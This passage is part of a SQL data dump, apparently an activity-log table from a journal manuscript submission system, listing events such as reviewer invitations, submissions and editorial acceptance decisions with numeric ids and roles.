Reviewer',8491,'Publisher',85),(80063,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8491,'Publisher',85),(80064,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8491,'Publisher',85),(80065,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8491,'Publisher',85),(80066,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8491,'Publisher',85),(80067,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8513,'Publisher',85),(80068,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8513,'Publisher',85),(80069,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8513,'Publisher',85),(80070,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8513,'Publisher',85),(80071,'0000-00-00 00:00:00','Publisher has been Assigned Editor',8504,'Publisher',673),(80072,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8513,'Publisher',85),(80073,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8513,'Publisher',85),(80074,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8513,'Publisher',85),(80075,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8513,'Publisher',85),(80076,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8513,'Publisher',85),(80077,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8513,'Publisher',85),(80078,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8513,'Publisher',85),(80079,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',8316,'Publisher',48),(80080,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8491,'Publisher',85),(80081,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8491,'Publisher',85),(80082,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8491,'Publisher',85),(80083,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8491,'Publisher',85),(80084,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8491,'Publisher',85),(80085,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8491,'Publisher',85),(80086,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8491,'Publisher',85),(80087,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8491,'Publisher',85),(80092,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8435,'Publisher',48),(80093,'0000-00-00 00:00:00','Reviewer has submitted comments',8435,'Reviewer',11689),(80094,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',8435,'Editor',194),(80095,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',8435,'Publisher',48),(80099,'0000-00-00 00:00:00','Publisher : Notified Editor',8389,'Publisher',984),(80100,'0000-00-00 00:00:00','Publisher : Notified Editor',8224,'Publisher',984),(80101,'0000-00-00 00:00:00','Publisher : Notified Editor',8170,'Publisher',984),(80104,'0000-00-00 00:00:00','Reviewer has submitted comments',8403,'Reviewer',11689),(80105,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',8403,'Editor',194),(80106,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',8403,'',1045),(80110,'0000-00-00 00:00:00','Author sent Email',6817,'Author',7918),(80125,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',8519,'Author',9644),(80139,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',8521,'Author',9647),(80154,'0000-00-00 00:00:00','Author sent Email',7376,'Author',8648),(80187,'0000-00-00 00:00:00','Publisher has been Assigned Editor',8481,'Publisher',645),(80188,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8481,'Publisher',645),(80189,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8481,'Publisher',645),(80190,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8481,'Publisher',645),(80191,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8481,'Publisher',645),(80192,'0000-00-00 00:00:00','Reviewer has submitted comments',8481,'Reviewer',17489),(80193,'0000-00-00 00:00:00','Reviewer has submitted comments',8481,'Reviewer',17489),(80194,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',8481,'Editor',634),(80195,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',8481,'Editor',634),(80214,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',8529,'Publisher',48),(80216,'0000-00-00 00:00:00','Publisher : Notified Author',8244,'Publisher',319),(80217,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',8531,'Publisher',972),(80222,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7871,'Publisher',75),(80223,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7871,'Publisher',75),(80224,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7871,'Publisher',75),(80225,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7871,'Publisher',75),(80226,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7871,'Publisher',75),(80229,'0000-00-00 00:00:00','Reviewer has submitted comments',7871,'Reviewer',11589),(80230,'0000-00-00 00:00:00','Reviewer has submitted comments',7871,'Reviewer',11589),(80231,'0000-00-00 00:00:00','Publisher : Notified Editor',7871,'Publisher',75),(80232,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7871,'Editor',162),(80233,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',7871,'Publisher',75),(80234,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',7871,'Publisher',75),(80236,'0000-00-00 00:00:00','Publisher has been Assigned Editor',8519,'Publisher',48),(80237,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',8532,'Publisher',972),(80239,'0000-00-00 00:00:00','Publisher has been Assigned Editor',8521,'Publisher',673),(80243,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',8534,'Publisher',972),(80259,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',8068,'Publisher',85),(80260,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',8068,'Publisher',85),(80261,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',8541,'Author',9666),(80264,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8504,'Publisher',673),(80265,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8504,'Publisher',673),(80266,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8504,'Publisher',673),(80267,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8504,'Publisher',673),(80268,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8504,'Publisher',673),(80269,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8504,'Publisher',673),(80270,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8504,'Publisher',673),(80271,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8504,'Publisher',673),(80272,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8504,'Publisher',673),(80273,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8504,'Publisher',673),(80274,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8504,'Publisher',673),(80275,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8504,'Publisher',673),(80276,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8504,'Publisher',673),(80277,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8504,'Publisher',673),(80278,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8504,'Publisher',673),(80279,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8504,'Publisher',673),(80280,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8504,'Publisher',673),(80321,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',8545,'Author',9669),(80326,'0000-00-00 00:00:00','Manuscript has been Revised',8244,'Author',9409),(80327,'0000-00-00 00:00:00','Author sent Email',8244,'Author',9409),(80328,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8519,'Publisher',48),(80329,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8519,'Publisher',48),(80330,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8519,'Publisher',48),(80331,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8519,'Publisher',48),(80332,'0000-00-00 00:00:00','Publisher : Notified Editor',8244,'Publisher',319),(80333,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',8475,'Editor',1069),(80334,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',8244,'Editor',1069),(80338,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8504,'Publisher',673),(80339,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8504,'Publisher',673),(80340,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8504,'Publisher',673),(80341,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8504,'Publisher',673),(80342,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8504,'Publisher',673),(80343,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8504,'Publisher',673),(80344,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8504,'Publisher',673),(80345,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8504,'Publisher',673),(80346,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8504,'Publisher',673),(80347,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8504,'Publisher',673),(80348,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8504,'Publisher',673),(80349,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8504,'Publisher',673),(80350,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8504,'Publisher',673),(80351,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8504,'Publisher',673),(80352,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8504,'Publisher',673),(80361,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',8553,'Publisher',248),(80376,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',8086,'Publisher',48),(80377,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8086,'Publisher',48),(80378,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8086,'Publisher',48),(80379,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8086,'Publisher',48),(80380,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8086,'Publisher',48),(80381,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8086,'Publisher',48),(80382,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',8329,'Editor',194),(80383,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',8329,'Editor',194),(80384,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',8086,'Editor',194),(80386,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',8329,'Publisher',48),(80387,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',8086,'Publisher',48),(80463,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',8359,'Editor',1665),(80464,'0000-00-00 00:00:00','Editor has been Revise (Notify Author) article',8359,'Editor',1665),(80465,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',8381,'Editor',1663),(80466,'0000-00-00 00:00:00','Editor has been Revise (Notify Author) article',8381,'Editor',1663),(80467,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',8442,'Editor',1668),(80468,'0000-00-00 00:00:00','Editor has been Revise (Notify Author) article',8442,'Editor',1668),(80469,'0000-00-00 00:00:00','Publisher : Notified Author',8442,'Publisher',274),(80470,'0000-00-00 00:00:00','Publisher : Notified Author',8381,'Publisher',274),(80471,'0000-00-00 00:00:00','Publisher : Notified Author',8359,'Publisher',274),(80472,'0000-00-00 00:00:00','Publisher has been Assigned Editor',8541,'Publisher',85),(80474,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8541,'Publisher',85),(80475,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8541,'Publisher',85),(80476,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8541,'Publisher',85),(80477,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8541,'Publisher',85),(80478,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8541,'Publisher',85),(80479,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8541,'Publisher',85),(80480,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8541,'Publisher',85),(80481,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8541,'Publisher',85),(80482,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8541,'Publisher',85),(80483,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8541,'Publisher',85),(80484,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8541,'Publisher',85),(80485,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8541,'Publisher',85),(80497,'0000-00-00 00:00:00','Author sent Email',8244,'Author',9409),(80498,'0000-00-00 00:00:00','Publisher has been Assigned Editor',8534,'Publisher',972),(80499,'0000-00-00 00:00:00','Publisher has been Assigned Editor',8532,'Publisher',972),(80500,'0000-00-00 00:00:00','Publisher has been Assigned Editor',8531,'Publisher',972),(80501,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8534,'Publisher',972),(80502,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8534,'Publisher',972),(80503,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8534,'Publisher',972),(80505,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8532,'Publisher',972),(80506,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8532,'Publisher',972),(80507,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8532,'Publisher',972),(80509,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8531,'Publisher',972),(80510,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8531,'Publisher',972),(80511,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8531,'Publisher',972),(80512,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8531,'Publisher',972),(80515,'0000-00-00 00:00:00','Author sent Email',8460,'Author',9557),(80635,'0000-00-00 00:00:00','Manuscript has been Revised',8359,'Author',9102),(80636,'0000-00-00 00:00:00','Manuscript has been Revised',8359,'Author',9102),(80637,'0000-00-00 00:00:00','Manuscript has been Revised',8359,'Author',9102),(80638,'0000-00-00 00:00:00','Manuscript has been Revised',8359,'Author',9102),(80639,'0000-00-00 00:00:00','Manuscript has been Revised',8359,'Author',9102),(80640,'0000-00-00 00:00:00','Manuscript has been Revised',8359,'Author',9102),(80641,'0000-00-00 00:00:00','Manuscript has been Revised',8359,'Author',9102),(80671,'0000-00-00 00:00:00','Publisher has been Assigned Editor',8545,'Publisher',75),(80695,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8521,'Publisher',673),(80696,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8521,'Publisher',673),(80697,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8521,'Publisher',673),(80698,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8521,'Publisher',673),(80699,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8521,'Publisher',673),(80700,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8521,'Publisher',673),(80701,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8521,'Publisher',673),(80702,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8521,'Publisher',673),(80703,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8521,'Publisher',673),(80704,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8521,'Publisher',673),(80705,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8521,'Publisher',673),(80706,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8521,'Publisher',673),(80707,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8521,'Publisher',673),(80708,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8521,'Publisher',673),(80709,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8521,'Publisher',673),(80711,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8396,'Publisher',673),(80712,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8396,'Publisher',673),(80713,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8396,'Publisher',673),(80714,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8396,'Publisher',673),(80715,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8396,'Publisher',673),(80716,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8396,'Publisher',673),(80717,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8396,'Publisher',673),(80718,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8396,'Publisher',673),(80719,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8396,'Publisher',673),(80720,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8396,'Publisher',673),(80721,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8504,'Publisher',673),(80722,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8504,'Publisher',673),(80723,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8504,'Publisher',673),(80724,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8504,'Publisher',673),(80725,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8504,'Publisher',673),(80726,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8504,'Publisher',673),(80727,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8504,'Publisher',673),(80728,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8504,'Publisher',673),(80729,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8504,'Publisher',673),(80730,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8504,'Publisher',673),(80731,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8504,'Publisher',673),(80738,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',8571,'Publisher',972),(80789,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',8572,'Publisher',972),(80845,'0000-00-00 00:00:00','Publisher has been Assigned Editor',8553,'Publisher',248),(80890,'0000-00-00 00:00:00','Publisher has been Assigned Editor',8514,'Publisher',645),(80900,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8494,'Publisher',376),(80901,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8494,'Publisher',376),(80902,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8494,'Publisher',376),(80903,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8494,'Publisher',376),(80904,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8494,'Publisher',376),(80905,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8494,'Publisher',376),(80906,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8494,'Publisher',376),(80907,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8494,'Publisher',376),(80908,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8494,'Publisher',376),(80909,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8494,'Publisher',376),(80910,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8494,'Publisher',376),(80911,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8494,'Publisher',376),(80912,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8494,'Publisher',376),(80931,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8494,'Publisher',376),(80932,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8494,'Publisher',376),(80934,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8494,'Publisher',376),(80936,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8494,'Publisher',376),(80938,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8494,'Publisher',376),(80940,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8494,'Publisher',376),(80942,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8494,'Publisher',376),(80944,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8494,'Publisher',376),(80946,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8494,'Publisher',376),(80948,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8494,'Publisher',376),(80950,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8494,'Publisher',376),(80977,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',8579,'Publisher',48),(80979,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',8581,'Publisher',48),(80980,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',8582,'Publisher',48),(80981,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',8583,'Publisher',48),(80982,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',8584,'Author',9698),(81022,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8521,'Publisher',673),(81023,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8521,'Publisher',673),(81024,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8521,'Publisher',673),(81025,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8521,'Publisher',673),(81026,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8521,'Publisher',673),(81027,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8521,'Publisher',673),(81028,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8521,'Publisher',673),(81029,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8521,'Publisher',673),(81030,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8521,'Publisher',673),(81031,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8521,'Publisher',673),(81037,'0000-00-00 00:00:00','Manuscript Submitted by Author',8588,'Author',6489),(81038,'0000-00-00 00:00:00','Manuscript Submitted by Author',8589,'Author',6489),(81040,'0000-00-00 00:00:00','Manuscript Submitted by Author',8591,'Author',6489),(81041,'0000-00-00 00:00:00','Manuscript Submitted by Author',8592,'Author',6489),(81042,'0000-00-00 00:00:00','Manuscript Submitted by Author',8593,'Author',6489),(81043,'0000-00-00 00:00:00','Manuscript Submitted by Author',8594,'Author',6489),(81044,'0000-00-00 00:00:00','Manuscript Submitted by Author',8595,'Author',6489),(81047,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8086,'Publisher',48),(81048,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',8086,'Editor',194),(81049,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',8086,'Editor',194),(81050,'0000-00-00 00:00:00','Reviewer has submitted comments',8086,'Reviewer',11689),(81051,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',8086,'Publisher',48),(81052,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',8086,'Publisher',48),(81062,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8514,'Publisher',645),(81063,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8514,'Publisher',645),(81064,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8514,'Publisher',645),(81065,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8514,'Publisher',645),(81066,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8514,'Publisher',645),(81067,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8514,'Publisher',645),(81072,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',8596,'Publisher',376),(81074,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',8598,'Publisher',376),(81091,'0000-00-00 00:00:00','Publisher has been Assigned Editor',8583,'Publisher',48),(81094,'0000-00-00 00:00:00','Publisher has been Assigned Editor',8582,'Publisher',48),(81095,'0000-00-00 00:00:00','Publisher has been Assigned Editor',8581,'Publisher',48),(81096,'0000-00-00 00:00:00','Publisher has been Assigned Editor',8579,'Publisher',48),(81101,'0000-00-00 00:00:00','Publisher has been Assigned Editor',8584,'Publisher',376),(81107,'0000-00-00 00:00:00','Publisher has been Assigned Editor',8595,'Publisher',85),(81108,'0000-00-00 00:00:00','Publisher has been Assigned Editor',8594,'Publisher',85),(81109,'0000-00-00 00:00:00','Publisher has been Assigned Editor',8593,'Publisher',85),(81110,'0000-00-00 00:00:00','Publisher has been Assigned Editor',8592,'Publisher',85),(81111,'0000-00-00 00:00:00','Publisher has been Assigned Editor',8591,'Publisher',85),(81112,'0000-00-00 00:00:00','Publisher has been Assigned Editor',8589,'Publisher',85),(81113,'0000-00-00 00:00:00','Publisher has been Assigned Editor',8588,'Publisher',85),(81132,'0000-00-00 00:00:00','Publisher has been Withdrawn  article',8396,'Publisher',673),(81166,'0000-00-00 00:00:00','Reviewer has submitted comments',7979,'Reviewer',11689),(81168,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7979,'Editor',194),(81169,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7980,'Editor',194),(81171,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',7979,'',1045),(81177,'0000-00-00 00:00:00','Reviewer has submitted comments',8174,'Reviewer',17502),(81178,'0000-00-00 00:00:00','Publisher : Notified Editor',8174,'Publisher',85),(81179,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',8174,'Editor',1675),(81180,'0000-00-00 00:00:00','Editor has been Revise (Notify Author) article',8174,'Editor',1675),(81181,'0000-00-00 00:00:00','Reviewer has submitted comments',7980,'Reviewer',11689),(81182,'0000-00-00 00:00:00','Reviewer has submitted comments',7980,'Reviewer',11689),(81183,'0000-00-00 00:00:00','Reviewer has submitted comments',7980,'Reviewer',11689),(81184,'0000-00-00 00:00:00','Publisher : Notified Author',8174,'Publisher',85),(81185,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7980,'Editor',194),(81186,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7980,'Editor',194),(81187,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',7980,'',1045),(81188,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',7980,'',1045),(81189,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',7980,'',1045),(81190,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',7980,'',1045),(81194,'0000-00-00 00:00:00','Author sent Email',6817,'Author',7918),(81207,'0000-00-00 00:00:00','Publisher has been Assigned Editor',8572,'Publisher',972),(81208,'0000-00-00 00:00:00','Publisher has been Assigned Editor',8571,'Publisher',972),(81209,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8572,'Publisher',972),(81210,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8572,'Publisher',972),(81211,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8572,'Publisher',972),(81212,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8571,'Publisher',972),(81213,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8571,'Publisher',972),(81214,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8571,'Publisher',972),(81215,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8571,'Publisher',972),(81217,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8484,'Publisher',248),(81218,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8484,'Publisher',248),(81219,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8484,'Publisher',248),(81220,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8484,'Publisher',248),(81221,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8484,'Publisher',248),(81222,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8484,'Publisher',248),(81223,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8553,'Publisher',248),(81224,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8449,'Publisher',248),(81226,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',8553,'Editor',1674),(81227,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',8484,'Editor',1674),(81228,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',8449,'Editor',1674),(81229,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',8553,'Editor',1674),(81230,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',8484,'Editor',1674),(81231,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',8449,'Editor',1674),(81237,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8504,'Publisher',673),(81238,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8504,'Publisher',673),(81239,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8504,'Publisher',673),(81240,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8504,'Publisher',673),(81241,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8504,'Publisher',673),(81242,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8504,'Publisher',673),(81243,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8504,'Publisher',673),(81244,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8504,'Publisher',673),(81245,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8504,'Publisher',673),(81246,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8504,'Publisher',673),(81247,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8504,'Publisher',673),(81248,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8504,'Publisher',673),(81249,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8504,'Publisher',673),(81250,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8504,'Publisher',673),(81251,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8504,'Publisher',673),(81257,'0000-00-00 00:00:00','Publisher has been Assigned Editor',8598,'Publisher',376),(81259,'0000-00-00 00:00:00','Publisher has been Assigned Editor',8596,'Publisher',376),(81289,'0000-00-00 00:00:00','Publisher has been Withdrawn  article',6851,'Publisher',85),(81292,'0000-00-00 00:00:00','Publisher has been Withdrawn  article',7764,'Publisher',85),(81293,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8588,'Publisher',85),(81294,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8588,'Publisher',85),(81295,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8588,'Publisher',85),(81296,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8588,'Publisher',85),(81297,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8588,'Publisher',85),(81298,'0000-00-00 00:00:00','Publisher has Invited 